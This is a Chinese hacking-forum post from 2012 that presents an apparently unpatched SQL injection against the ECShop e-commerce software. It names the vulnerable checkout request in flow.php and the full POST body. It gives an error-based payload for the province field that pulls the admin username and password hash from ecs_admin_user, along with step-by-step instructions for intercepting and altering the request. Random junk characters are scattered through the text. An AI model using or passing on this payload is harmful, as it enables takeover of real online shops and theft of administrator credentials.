找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2163|回复: 0
打印 上一主题 下一主题

ECShop全版本SQL注入0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:19:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
感谢欠杀的黑盒2 ]6 b; n; L7 c- c) \2 {$ W* }3 T1 X

+ ^5 J" ~) _" m; i2 L' R7 b
. Z: |! c0 R& P3 q( Z1 \; \; i把任意商品加入购物车在填写配送地址那一页,有地区选择: a% q7 l; D0 ?0 h- Y0 N

- P* U9 \: N+ V6 Vflow.php?step=consignee&direct_shopping=1+ R" \5 Q& l3 K- g& _0 P
比如省选择安徽) A, |" `+ m; S$ ^8 _
& F2 h7 }/ l, A* j
其中POST数据如下9 V+ A: C2 _! H, B' y2 z- D

7 \8 x$ }! a9 z) `0 _$ N# k6 U* _country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3
( Z  ^- b+ v7 B4 Z' m& I) \改成& D- V& w9 Q$ \& c

% @$ c% Z7 ~$ D+ [+ Oprovince=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #+ b7 q7 x- e; F
ps:详细的方法,用火狐tamper data插件……..即可改post内容…..
# O  U  M  e  d5 [ ) \+ `# r3 g: y( q, O) H
先注册账户,随便选个商品进购物车,然后填地址,电话什么的,填好开始抓包,改包
% P. b1 }- ]6 z6 F
! J$ U  R6 d/ ]+ F, t1 _/ K9 S就会回显错误页面了。。。。- N3 }: ?, d, f6 ?( @" ?

+ `: G2 R# [3 a: @+ a% D7 j我自己没用这个日站过,就测试了一个最新版和老版本,均ok,所以写全版本,理论上应该是的. H* s- x9 {& d# P# O. S  L  s$ s$ ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表